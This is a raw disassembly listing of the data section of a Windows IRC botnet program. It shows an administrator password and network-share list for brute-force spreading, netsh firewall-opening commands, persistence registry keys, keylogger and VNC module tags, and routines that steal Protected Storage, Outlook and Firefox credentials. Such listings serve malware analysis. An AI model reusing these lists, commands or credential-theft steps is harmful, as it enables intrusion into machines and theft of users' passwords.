aBillGates db 'bill gates',0 ; DATA XREF: .text:0043C8D0o ; .text:0043CACCo align 4 aRdp db 'rdp',0 ; DATA XREF: .text:0043C8CCo ; .text:0043CC44o aR00t db 'r00t',0 ; DATA XREF: .text:0043C8C8o ; .text:0043CC48o align 4 aRoot db 'root',0 ; DATA XREF: .text:0043C8C4o ; .text:0043CC50o align 10h aOwner db 'owner',0 ; DATA XREF: .text:0043C8C0o ; .text:0043C99Co ... align 4 aManager db 'manager',0 ; DATA XREF: .text:0043C8BCo ; .text:0043C92Co ... aAdministrators db 'Administrators',0 ; DATA XREF: .text:0043C8B8o ; .text:0043C988o align 10h aAdministration db 'Administration',0 ; DATA XREF: .text:0043C8B4o ; .text:0043C984o align 10h aAdministratori db 'Administratori',0 ; DATA XREF: .text:0043C8B0o ; .text:0043C980o align 10h aAdministratore db 'Administratore',0 ; DATA XREF: .text:0043C8ACo ; .text:0043C97Co align 10h aAdministrado_0 db 'Administrador',27h,0 ; DATA XREF: .text:0043C8A8o ; .text:0043C978o align 10h aAdministratoro db 'Administratoro',0 ; DATA XREF: .text:0043C8A4o ; .text:0043C974o align 10h aAdministrada db 'Administrada',0 ; DATA XREF: .text:0043C8A0o ; .text:0043C970o align 10h aAdministrateur db 'Administrateur',0 ; DATA XREF: .text:0043C89Co ; .text:0043C96Co align 10h aAdministrador db 'Administrador',0 ; DATA XREF: .text:0043C898o ; .text:0043C968o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: .text:0043C894o ; .text:0043C964o align 10h aAdmin db 'ADMIN',0 ; DATA XREF: .text:0043C890o ; .text:0043C960o align 4 aAdmins db 'admins',0 ; DATA XREF: .text:0043C88Co ; .text:0043C95Co align 10h aAdm db 'adm',0 ; DATA XREF: .text:0043C888o ; .text:0043C958o aSystem_0 db 'SYSTEM',0 ; DATA XREF: sub_4146B9+36o ; .text:0043C884o ... align 4 aDDDDD db '%d%d%d%d%d',0 ; DATA XREF: sub_412EB7+87o align 4 aSSS_1 db '%s\%s\%s',0 ; DATA XREF: sub_412EB7+3Bo ; sub_4130E5+285o align 4 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_412EB7+11o ; sub_41B0B0+18o align 4 aSSSSSSNetsched db '%s %s: -> [%s\%s, %s/%s] (NetSchedJobAdded)',0 ; DATA XREF: sub_4130E5+4B2o aBlank db '(Blank)',0 ; DATA XREF: sub_4130E5+414o ; sub_4130E5+45Do aSSSSSSCreateds db '%s %s: -> [%s\%s, %s/%s] (CreatedService)',0 ; DATA XREF: sub_4130E5+3EAo align 4 aClients db 'clients$',0 ; DATA XREF: sub_4130E5+20Ao align 10h aSita db 'SITA$',0 ; DATA XREF: sub_4130E5+203o align 4 aLpt1 db 'LPT1$',0 ; DATA XREF: sub_4130E5+1FCo align 10h aSysvol db 'SYSVOL$',0 ; DATA XREF: sub_4130E5+1F5o aDownloads db 'DOWNLOADS$',0 ; DATA XREF: sub_4130E5+1EEo align 4 aFtp_0 db 'FTP$',0 ; DATA XREF: sub_4130E5+1E7o align 4 aDrivec db 'drivec$',0 ; DATA XREF: sub_4130E5+1E0o aIis db 'IIS$',0 ; DATA XREF: sub_4130E5+1D9o align 4 aMssql_0 db 'MSSQL$',0 ; DATA XREF: sub_4130E5+1D2o align 4 aMysql_0 db 'MYSQL$',0 ; DATA XREF: sub_4130E5+1CBo align 4 aSql_0 db 'SQL$',0 ; DATA XREF: sub_4130E5+1C4o align 4 aWinnt_0 db 'WINNT$',0 ; DATA XREF: sub_4130E5+1BDo align 4 aWindows_0 db 'WINDOWS$',0 ; DATA XREF: sub_4130E5+1B6o align 4 aSystem_1 db 'SYSTEM$',0 ; DATA XREF: sub_4130E5+1AFo aSeclogon db 'SECLOGON$',0 ; DATA XREF: sub_4130E5+1A8o align 4 aDWindows db 'D:\WINDOWS$',0 ; DATA XREF: sub_4130E5+1A1o aDWinnt db 'D:\WINNT$',0 ; DATA XREF: sub_4130E5+19Ao align 4 aCWindowsSystem db 'C:\WINDOWS\system32$',0 ; DATA XREF: sub_4130E5+193o align 4 aCWinntSystem32 db 'C:\WINNT\system32$',0 ; DATA XREF: sub_4130E5+18Co align 10h aCWinnt db 'C:\WINNT$',0 ; DATA XREF: sub_4130E5+185o align 4 aGuest db 'GUEST$',0 ; DATA XREF: sub_4130E5+17Eo align 4 aCWindows db 'C:\WINDOWS$',0 ; DATA XREF: sub_4130E5+177o aZ_4 db 'Z$',0 ; DATA XREF: sub_4130E5+170o align 4 aY_0 db 'Y$',0 ; DATA XREF: sub_4130E5+169o align 4 asc_43D7C8 db 'X$',0 ; DATA XREF: sub_4130E5+162o align 4 aW_0 db 'W$',0 ; DATA XREF: sub_4130E5+15Bo align 10h aV_1 db 'V$',0 ; DATA XREF: sub_4130E5+154o align 4 aU_1 db 'U$',0 ; DATA XREF: sub_4130E5+14Do align 4 aT_0 db 'T$',0 ; DATA XREF: sub_4130E5+146o align 4 aR_0 db 'R$',0 ; DATA XREF: sub_4130E5+13Co align 10h aQ_1 db 'Q$',0 ; DATA XREF: sub_4130E5+132o align 4 aP_4 db 'P$',0 ; DATA XREF: sub_4130E5+128o align 4 aO_1 db 'O$',0 ; DATA XREF: sub_4130E5+11Eo align 4 aN_1 db 'N$',0 ; DATA XREF: sub_4130E5+114o align 10h asc_43D7F0 db 'L$',0 ; DATA XREF: sub_4130E5+100o align 4 aK_1 db 'K$',0 ; DATA XREF: sub_4130E5+F6o align 4 aJ_0 db 'J$',0 ; DATA XREF: sub_4130E5+ECo align 4 aI_2 db 'I$',0 ; DATA XREF: sub_4130E5+E2o align 10h asc_43D800 db 'H$',0 ; DATA XREF: sub_4130E5+D8o align 4 aG_0 db 'G$',0 ; DATA XREF: sub_4130E5+CEo align 4 aF_0 db 'F$',0 ; DATA XREF: sub_4130E5+C4o align 4 aE_1 db 'E$',0 ; DATA XREF: sub_4130E5+BAo align 10h aD_0 db 'D$',0 ; DATA XREF: sub_4130E5+B0o align 4 aC_1 db 'C$',0 ; DATA XREF: sub_4130E5+A6o align 4 aB_1 db 'B$',0 ; DATA XREF: sub_4130E5+9Co align 4 aNetlogon db 'NETLOGON$',0 ; DATA XREF: sub_4130E5+92o align 4 aS_7 db 'S$',0 ; DATA XREF: sub_4130E5+88o align 4 aPrint db 'PRINT$',0 ; DATA XREF: sub_4130E5+7Eo align 4 aIpc db 'IPC$',0 ; DATA XREF: sub_4130E5+74o ; sub_421589+19Fo align 4 aAdmin_1 db 'ADMIN$',0 ; DATA XREF: sub_4130E5+6Ao align 4 aSIpc db '%s\IPC$',0 ; DATA XREF: .text:00413698o aS_8 db '\\%s',0 ; DATA XREF: .text:00413657o ; sub_421589+147o align 4 dword_43D854 dd 0EFFFC481h, 44FFFFh, 43D88Chdword_43D860 dd 42Ah dword_43D864 dd 3E8h dword_43D868 dd 258h byte_43D86C db 0 ; DATA XREF: sub_41391C+3A4r ; sub_41391C+488r byte_43D86D db 1 ; DATA XREF: sub_41391C:loc_413CD7r ; sub_41391C:loc_413E0Er align 10h dd offset aXp ; "XP" dd 2C6h, 264h, 0 dd 1 dword_43D884 dd 20804h ; sub_41391C+4ACo ... dword_43D888 dd 158h dd 322B544Eh, 4Bh aSPipeTrkwks db '\\%s\pipe\trkwks',0 ; DATA XREF: sub_41391C+21Eo align 4 aSPipeWkssvc db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_41391C+18Eo align 4 aSPipeBrowser_0 db '\\%s\pipe\browser',0 ; DATA XREF: sub_41391C+FEo align 10h aSPipeSrvsvc db '\\%s\pipe\srvsvc',0 ; DATA XREF: sub_41391C+6Eo align 4 aSPipe db '\\%s\pipe',0 ; DATA XREF: sub_41391C+34o ; sub_41391C+C4o ... align 10h unicode 0, <)>,0 align 8 dd offset aMozilla5_0Wi_2 ; "Mozilla/5.0 (Windows; U; Windows NT 5.2"... dd offset aGooglebot2_0_1 ; "Googlebot/2.0 (http://www.googlebot.com"... dd offset aMozilla5_0Wi_3 ; "Mozilla/5.0 (Windows; U; Windows NT 5.1"... dd offset aMozilla5_0X1_3 ; "Mozilla/5.0 (X11; U; Linux i686; en-US;"... dd offset aMozilla4_0Co_7 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_6 ; "Mozilla/5.0 (compatible; Konqueror/3.0-"... dd offset aMozilla4_0C_11 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Wi_4 ; "Mozilla/5.0 (Windows; U; Windows NT 5.1"... dd offset aMozilla5_0Maci ; "Mozilla/5.0 (Macintosh; U; PPC Mac OS X"... dd offset aMozilla5_0Wi_5 ; "Mozilla/5.0 (Windows; U; Windows NT 5.1"... dd offset aMozilla4_0C_12 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0X1_4 ; "Mozilla/5.0 (X11; U; Linux i686; en-US;"... dd offset aMozilla5_0X1_5 ; "Mozilla/5.0 (X11; U; Linux i686; en-US;"... dd offset aGooglebot2_1_1 ; "Googlebot/2.1 (http://www.googlebot.com"... dd offset aMozilla5_0Wi_6 ; "Mozilla/5.0 (Windows; U; Windows NT 5.1"... dd offset aMozilla5_0Co_7 ; "Mozilla/5.0 (compatible; Googlebot/2.1;"... dd offset aMediapartnersG ; "Mediapartners-Google/2.1" dd offset aGooglebot2_1Ht ; "Googlebot/2.1 (+http://www.googlebot.co"... dd offset aLynx2_8_4rel_1 ; "Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1"... dd offset aMicrosoftWebda ; "Microsoft-WebDAV-MiniRedir/5.1.2600" dd offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"... dd offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"... dd offset aMozilla4_0Co_1 ; "Mozilla/4.0 (compatible; MSIE 5.0; Wind"... dd offset aMozilla4_0C_13 ; "Mozilla/4.0 (compatible; MSIE 5.5; Wind"... dd offset aMozilla4_0Co_3 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0C_14 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_5 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_6 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_7 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_8 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_9 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0C_15 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0C_16 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0C_17 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0C_18 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0C_19 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0C_20 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0C_21 ; "Mozilla/4.0 compatible ZyBorg/1.0 (wn.z"... dd offset aMozilla4_75En ; "Mozilla/4.75 [en]" dd offset aMozilla5_0Wi_7 ; "Mozilla/5.0 (Windows; U; Windows NT 5.2"... dd offset aMozilla5_0X11U ; "Mozilla/5.0 (X11; U; FreeBSD i386; en-U"... align 10h aMozilla5_0Wi_7 db 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.5a) Gecko/20' ; DATA XREF: .text:0043D994o db '030728 Mozilla Firebird/0.6.1',0 align 10h aMozilla4_0C_21 db 'Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http:' ; DATA XREF: .text:0043D98Co db '//www.WISEnutbot.com)',0 align 4 aMozilla4_0C_20 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)',0 ; DATA XREF: .text:0043D988o align 8 aMozilla4_0C_19 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ODI3 Navigator' ; DATA XREF: .text:0043D984o db ')',0 align 10h aMozilla4_0C_18 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0' ; DATA XREF: .text:0043D980o db ')',0 align 8 aMozilla4_0C_17 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts' ; DATA XREF: .text:0043D97Co db '-MyWay; (R1 1.3); .NET CLR 1.1.4322)',0 align 10h aMozilla4_0C_16 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt)',0 ; DATA XREF: .text:0043D978o align 10h aMozilla4_0C_15 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser ' ; DATA XREF: .text:0043D974o db '[avantbrowser.com]; .NET CLR 1.1.4322)',0 aMozilla4_0C_14 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; H0108' ; DATA XREF: .text:0043D95Co db '18; AT&T CSM6.0)',0 align 4 aMozilla4_0C_13 db 'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',0 ; DATA XREF: .text:0043D954o align 4 aMediapartnersG db 'Mediapartners-Google/2.1',0 ; DATA XREF: .text:0043D938o align 4 aMozilla5_0Co_7 db 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bo' ; DATA XREF: .text:0043D934o db 't.html)',0 align 8 aMozilla5_0Wi_6 db 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko' ; DATA XREF: .text:0043D930o db '/20070725 Firefox/2.0.0.6',0 align 4 aGooglebot2_1_1 db 'Googlebot/2.1 (http://www.googlebot.com/bot.html)',0 ; DATA XREF: .text:0043D92Co align 4 aMozilla5_0X1_5 db 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/2006120' ; DATA XREF: .text:0043D928o db '1 Firefox/2.0.0.6 (Ubuntu-feisty)',0 align 10h aMozilla5_0X1_4 db 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20070308 ' ; DATA XREF: .text:0043D924o db 'Minefield/3.0a1',0 align 4 aMozilla4_0C_12 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',0 ; DATA XREF: .text:0043D920o align 10h aMozilla5_0Wi_5 db 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko' ; DATA XREF: .text:0043D91Co db '/20070515 Firefox/2.0.0.4',0 align 10h aMozilla5_0Maci db 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419.3 (K' ; DATA XREF: .text:0043D918o db 'HTML, like Gecko) Safari/419.3',0 aMozilla5_0Wi_4 db 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.7) Gecko/2' ; DATA XREF: .text:0043D914o db '0050414 Firefox/2.0.5',0 align 4 aMozilla4_0C_11 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR ' ; DATA XREF: .text:0043D910o db '1.1.4322)',0 align 8 aMozilla5_0Co_6 db 'Mozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020527)' ; DATA XREF: .text:0043D90Co db 0 align 10h aMozilla5_0X1_3 db 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8a5) Gecko/20041122',0 ; DATA XREF: .text:0043D904o align 8 aMozilla5_0Wi_3 db 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8) Gecko' ; DATA XREF: .text:0043D900o db '/20071008 Firefox/2.0.0.8',0 align 4 aGooglebot2_0_1 db 'Googlebot/2.0 (http://www.googlebot.com/bot.html)',0 ; DATA XREF: .text:0043D8FCo align 4 aMozilla5_0Wi_2 db 'Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR; rv:1.7.7) Gecko/2' ; DATA XREF: .text:0043D8F8o db '0050414 Firefox/2.0.5',0 align 10h aCouldnTResolve db 'Couldn',27h,'t resolve',0 ; DATA XREF: sub_4140F8:loc_41415Do align 4 a90 db '90',0 ; DATA XREF: sub_414173:loc_414242o align 4 a168 db '168',0 ; DATA XREF: sub_414173+BCo a192 db '192',0 ; DATA XREF: sub_414173:loc_41421Eo a16 db '16',0 ; DATA XREF: sub_414173+98o align 4 a172 db '172',0 ; DATA XREF: sub_414173+87o a10 db '10',0 ; DATA XREF: sub_414173+76o align 4 aProccessTermin db 'Proccess terminated.',0Dh,0Ah,0 ; DATA XREF: sub_4143AB+117o align 4 aCouldNotReadDa db 'Could not read data from proccess.',0Dh,0Ah,0 ; DATA XREF: sub_4143AB:loc_414499o ; sub_4143AB:loc_4144E5o align 4 aSFailedToSta_5 db '%s Failed to start IO thread, error: <%d>.',0 ; DATA XREF: sub_414508+19Co align 4 aSCmdPrompt db '%s CMD Prompt',0 ; DATA XREF: sub_414508+151o align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_414508+2Co ; sub_423517+86o ... aSystemCurren_4 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' ; DATA XREF: sub_4146B9+91o db 'lPolicy\DomainProfile\AuthorizedApplications\List',0 align 8 aSystemCurren_3 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' ; DATA XREF: sub_4146B9+55o db 'lPolicy\StandardProfile\AuthorizedApplications\List',0 align 10h aEnabled db ':*:Enabled:',0 ; DATA XREF: sub_4146B9+25o aBitdefenderFir db 'BitDefender Firewall Alert',0 ; DATA XREF: sub_41477A+1Do align 4 aWindowsSecurit db 'Windows Security Alert',0 ; DATA XREF: sub_41477A:loc_414785o align 10h aFirewallSetAll db 'firewall set allowedprogram "%s" workstation ENABLE ALL',0 ; DATA XREF: sub_414810+E2o aFirewallAddAll db 'firewall add allowedprogram "%s" workstation ENABLE ALL',0 ; DATA XREF: sub_414810+B4o aFirewallSetP_2 db 'firewall set portopening TCP 8081 PORT2',0 ; DATA XREF: sub_414810+6Eo aFirewallSetP_1 db 'firewall set portopening TCP 8080 PORT1',0 ; DATA XREF: sub_414810+45o aNetsh db 'netsh',0 ; DATA XREF: sub_414810+35o ; sub_414926+43o align 4 aFirewallSetP_0 db 'firewall set portopening TCP 1013 BS',0 ; DATA XREF: sub_414810+11o align 10h aFirewallSetPor db 'firewall set portopening TCP %d FD',0 ; DATA XREF: sub_414926+25o align 4 aDebugOpenedNet db '(Debug): opened netsh firewall for FTPD Port %d',0Ah,0 ; DATA XREF: sub_414926+Fo align 4 aBoot db 'boot',0 ; DATA XREF: sub_414983+75o ; sub_41F455+8Fo align 10h aShell db 'shell',0 ; DATA XREF: sub_414983+70o ; sub_41F455+8Ao align 4 aSystem_ini db '\system.ini',0 ; DATA XREF: sub_414983+55o ; sub_41F455+72o aExplorer_exeS db 'explorer.exe "%s"',0 ; DATA XREF: sub_414983+33o align 4 aSSystem db '%s\System',0 ; DATA XREF: sub_414983+27Do ; sub_414CF1+16Bo align 4 aSSpoolDriversS db '%s\spool\drivers\%s',0 ; DATA XREF: sub_414983+216o ; sub_414CF1+124o aSWinsS db '%s\wins\%s',0 ; DATA XREF: sub_414983+1A2o ; sub_414CF1+D0o align 4 aStubpath db 'StubPath',0 ; DATA XREF: sub_414F35+25o ; sub_414F91+23o align 10h aSoftwareMicr_1 db 'Software\Microsoft\Active Setup\Installed Components\%s',0 ; DATA XREF: sub_414F35+13o ; sub_414F91+13o dword_43E558 dd 6E6B6E55h ; sub_418436+35r ... dword_43E55C dd 6E776Fh ; sub_418930+3Er aInvalid db 'Invalid',0 ; DATA XREF: sub_41508A:loc_4150C7o aDisk db 'Disk',0 ; DATA XREF: sub_41508A:loc_4150C1o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_41508A:loc_4150BBo aCdrom db 'Cdrom',0 ; DATA XREF: sub_41508A:loc_4150B5o align 10h aRamdisk db 'RAMDISK',0 ; DATA XREF: sub_41508A:loc_4150AFo a?: ; DATA XREF: sub_41508A+1Fo unicode 0, <?>,0 aFailed db 'Failed',0 ; DATA XREF: sub_415126:loc_415212o ; sub_4152FB+41o align 4 aSS_2 db '%s%s',0 ; DATA XREF: sub_415126+72o align 4 aSDriveSTotalSF db '%s Drive (%s), Total: %s, Free: %s, Available: %s',0 ; DATA XREF: sub_4152FB+9Fo align 10h aSDriveSFailedT db '%s Drive (%s): Failed to start, device not ready',0 ; DATA XREF: sub_4152FB+62o align 4 aDriveTotalsNAT db 'Drive Totals (N/A), Total: %s%s,Free: %s%s,Available: %s%s',0 ; DATA XREF: sub_4153BB+101o align 10h off_43E640 dd offset byte_5C3A41 ; DATA XREF: sub_4153BB:loc_4153FDo ; sub_4154DA:loc_4155A0o ... aSEndOfList_ db '%s End of list.',0 ; DATA XREF: sub_4154DA+162o ; sub_41C143+C4o aSListingDrives db '%s Listing drives:',0 ; DATA XREF: sub_4154DA+79o align 4 aVnc db '[VNC]:',0 ; DATA XREF: sub_415702+F7o align 10h aKeylogger db '[KEYLOGGER]:',0 ; DATA XREF: sub_415702+E2o align 10h aTftp db '[TFTP]:',0 ; DATA XREF: sub_415702+CDo aFtp_1 db '[FTP]:',0 ; DATA XREF: sub_415702+B8o align 10h aScan db '[SCAN]:',0 ; DATA XREF: sub_415702+A7o aMain db '[MAIN]:',0 ; DATA XREF: sub_415702+96o aPhpshell db 'phpshell',0 ; DATA XREF: sub_415702+85o align 4 aWget db 'wget',0 ; DATA XREF: sub_415702+74o align 4 aPush db '!* PUSH',0 ; DATA XREF: sub_415702+63o aPan db '!* PAN',0 ; DATA XREF: sub_415702+52o align 4 aUdp db '!* UDP',0 ; DATA XREF: sub_415702:loc_415743o align 4 aSh db '!* SH',0 ; DATA XREF: sub_415702+2Bo align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_41580E+F7o ; sub_41591A:loc_41595Bo align 4 aTopic db 'TOPIC',0 ; DATA XREF: sub_41580E+E2o align 4 aNotice db 'NOTICE',0 ; DATA XREF: sub_41580E+CDo align 4 aUserhost db 'USERHOST',0 ; DATA XREF: sub_41580E+B8o align 4 aPing db 'PING',0 ; DATA XREF: sub_41580E+A7o align 10h aPong db 'PONG',0 ; DATA XREF: sub_41580E+96o align 4 aOper db 'OPER',0 ; DATA XREF: sub_41580E+85o align 10h aJoin db 'JOIN',0 ; DATA XREF: sub_41580E+74o align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_41580E+63o aNowANetworkAdm db 'now a network administrator',0 ; DATA XREF: sub_41580E+52o aIrcOperator db 'IRC Operator',0 ; DATA XREF: sub_41580E:loc_41584Fo align 4 aUser_0 db 'USER ',0 ; DATA XREF: sub_41591A+2Bo align 4 a_bot_login db '_BOT_LOGIN',0 ; DATA XREF: sub_415970:loc_4159B1o align 10h a_bot db '_BOT',0 ; DATA XREF: sub_415970+2Bo align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4159ED+63o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4159ED+52o align 4 aApache1_3 db 'Apache/1.3',0 ; DATA XREF: sub_4159ED:loc_415A2Eo align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4159ED+2Bo align 4 dword_43E7A4 dd 6C755602h, 22F2F6EhaSDSDS db ' (%s:%d) -> (%s:%d) - "%s"',0 align 4 dword_43E7C8 dd 54544802h, 22F2F50haSDSDS_0 db ' (%s:%d) -> (%s:%d) - "%s"',0 align 4 unk_43E7EC db 2 ; DATA XREF: sub_415A65+2C5o db 50h, 48h, 50h db 2Fh ; / db 2Fh, 2, 20h aSDSDS_1 db '(%s:%d) -> (%s:%d) - "%s"',0 align 10h unk_43E810 db 2 ; DATA XREF: sub_415A65+29Do db 46h, 54h, 50h db 2Fh ; / db 2Fh, 2, 20h aSDSDS_2 db '(%s:%d) -> (%s:%d) - "%s"',0 align 4 unk_43E834 db 2 ; DATA XREF: sub_415A65+272o db 49h, 52h, 43h db 2Fh ; / db 2Fh, 2, 20h aSDSDS_3 db '(%s:%d) -> (%s:%d) - "%s"',0 align 4 unk_43E858 db 2 ; DATA XREF: sub_415A65+247o db 42h, 6Fh, 74h db 2Fh ; / db 2Fh, 2, 20h aSDSDS_4 db '(%s:%d) -> (%s:%d) - "%s"',0 align 4 aSPstore_dllNot db '%s PStore.dll not loaded',0 ; DATA XREF: sub_415DBD+C5o align 4 aPop3Pass2 db 'POP3 Pass2',0 ; DATA XREF: sub_415EA7+29Co align 4 aPop3Server db 'POP3 Server',0 ; DATA XREF: sub_415EA7+250o aPop3UserName db 'POP3 User Name',0 ; DATA XREF: sub_415EA7+1FCo align 10h aHttpmailPass2 db 'HTTPMail Pass2',0 ; DATA XREF: sub_415EA7+15Fo align 10h aHotmail db 'Hotmail',0 ; DATA XREF: sub_415EA7+144o aHttpmailUserna db 'HTTPMail UserName',0 ; DATA XREF: sub_415EA7+F3o align 4 asc_43E8EC: ; DATA XREF: sub_415EA7+A4o ; sub_416C0B+83o ... unicode 0, <\>,0 aSoftwareMicr_2 db 'Software\Microsoft\Internet Account Manager\Accounts',0 ; DATA XREF: sub_415EA7+2Co ; sub_415EA7+96o align 4 aSNoPstoreEntri db '%s No PStore entries found.',0 ; DATA XREF: sub_416208+8DAo dword_43E944 dd 2207325h, 61724528h, 20646573h, 6C74754Fh, 206B6F6Fh ; DATA XREF: sub_416208+84Eo dd 72707845h, 29737365h, 220023Ah, 702F6C28h, 20023A29h dd 3A73255Bh, 5D7325h dword_43E974 dd 2207325h, 74754F28h, 6B6F6F6Ch, 70784520h, 73736572h ; DATA XREF: sub_416208+80Ao dd 20023A29h, 2207325h, 702F6C28h, 20023A29h, 3A73255Bh dd 5D7325h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_416208+755o align 4 dword_43E9AC dd 2207325h, 4E534D28h, 2F444920h, 73736150h, 20023A29h ; DATA XREF: sub_416208+71Do dd 2F6C2802h, 23A2970h, 73255B20h, 5D73253Ah, 0 aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_416208+5B4o align 10h dword_43E9E0 dd 2207325h, 20454928h, 296C5255h, 2520023Ah, 28022073h ; DATA XREF: sub_416208+58Fo dd 29702F6Ch, 5B20023Ah, 253A7325h, 5D73h dword_43EA04 dd 2Ch ; sub_416208+518o ... dword_43EA08 dd 70747468h, 2F3A73hdword_43EA10 dd 70747468h, 2F3Ahdword_43EA18 dd 7274533Ah, 676E69h ; sub_416208+499o aStringindex db 'StringIndex',0 ; DATA XREF: sub_416208+467o aE161255a db 'e161255a',0 ; DATA XREF: sub_416208+44Do align 4 dword_43EA38 dd 2207325h, 20454928h, 206C5255h, 63617448h, 73736563h ; DATA XREF: sub_416208+428o dd 20023A29h, 2207325h, 702F6C28h, 20023A29h, 3A73255Bh dd 5D7325h a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_416208+376o align 10h aWs db '%ws',0 ; DATA XREF: sub_416208+2A3o asc_43EA74 db '%x',0 ; DATA XREF: sub_416208+1B6o align 4 aSFailedToQue_1 db '%s Failed to query PStore.',0 ; DATA XREF: sub_416208+118o align 4 dword_43EA94 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; sub_416208+1F7o ... aSPstorecreatei db '%s PStoreCreateInstance() error.',0 ; DATA XREF: sub_416208+98o align 4 aSPstoreNotRunn db '%s PStore not running.',0 ; DATA XREF: sub_416208+2Co align 10h aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_416208+13o align 4 aPath db 'path=',0 ; DATA XREF: sub_416C0B:loc_416D1Fo align 4 aNameDefault db 'name=default',0 ; DATA XREF: sub_416C0B+FAo align 4 aProfiles_ini db '\profiles.ini',0 ; DATA XREF: sub_416C0B+ABo align 4 aApplicationDat db 'Application Data\Mozilla\Firefox',0 ; DATA XREF: sub_416C0B+28o align 10h aSoftwareClient db 'SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command' ; DATA XREF: sub_416E02+Fo db 0 align 4 aPl_base64decod db 'PL_Base64Decode',0 ; DATA XREF: sub_416F48+166o aPk11_checkuser db 'PK11_CheckUserPassword',0 ; DATA XREF: sub_416F48+11Bo align 4 aPk11sdr_decryp db 'PK11SDR_Decrypt',0 ; DATA XREF: sub_416F48+109o aPk11_authentic db 'PK11_Authenticate',0 ; DATA XREF: sub_416F48+F7o align 10h aPk11_freeslot db 'PK11_FreeSlot',0 ; DATA XREF: sub_416F48+E5o align 10h aPk11_getintern db 'PK11_GetInternalKeySlot',0 ; DATA XREF: sub_416F48+D3o aNss_shutdown db 'NSS_Shutdown',0 ; DATA XREF: sub_416F48+C1o align 4 aNss_init db 'NSS_Init',0 ; DATA XREF: sub_416F48+B4o align 4 aSoftokn3_dll db 'softokn3.dll',0 ; DATA XREF: sub_416F48+58o align 4 aPlds4_dll db 'plds4.dll',0 ; DATA XREF: sub_416F48+47o align 10h aNspr4_dll db 'nspr4.dll',0 ; DATA XREF: sub_416F48+24o align 4 aNss3_dll db 'nss3.dll',0 ; DATA XREF: sub_416F48+1Do align 4 aPlc4_dll db 'plc4.dll',0 ; DATA XREF: sub_416F48+18o align 4 asc_43EC54 db ': ',0 ; DATA XREF: sub_417149+233o align 4 dword_43EC58 dd 46462802h, 73615020h, 23A2973h, 20hdword_43EC68 dd 46462802h, 6C525520h, 20023A29h, 2207325h, 20464628h 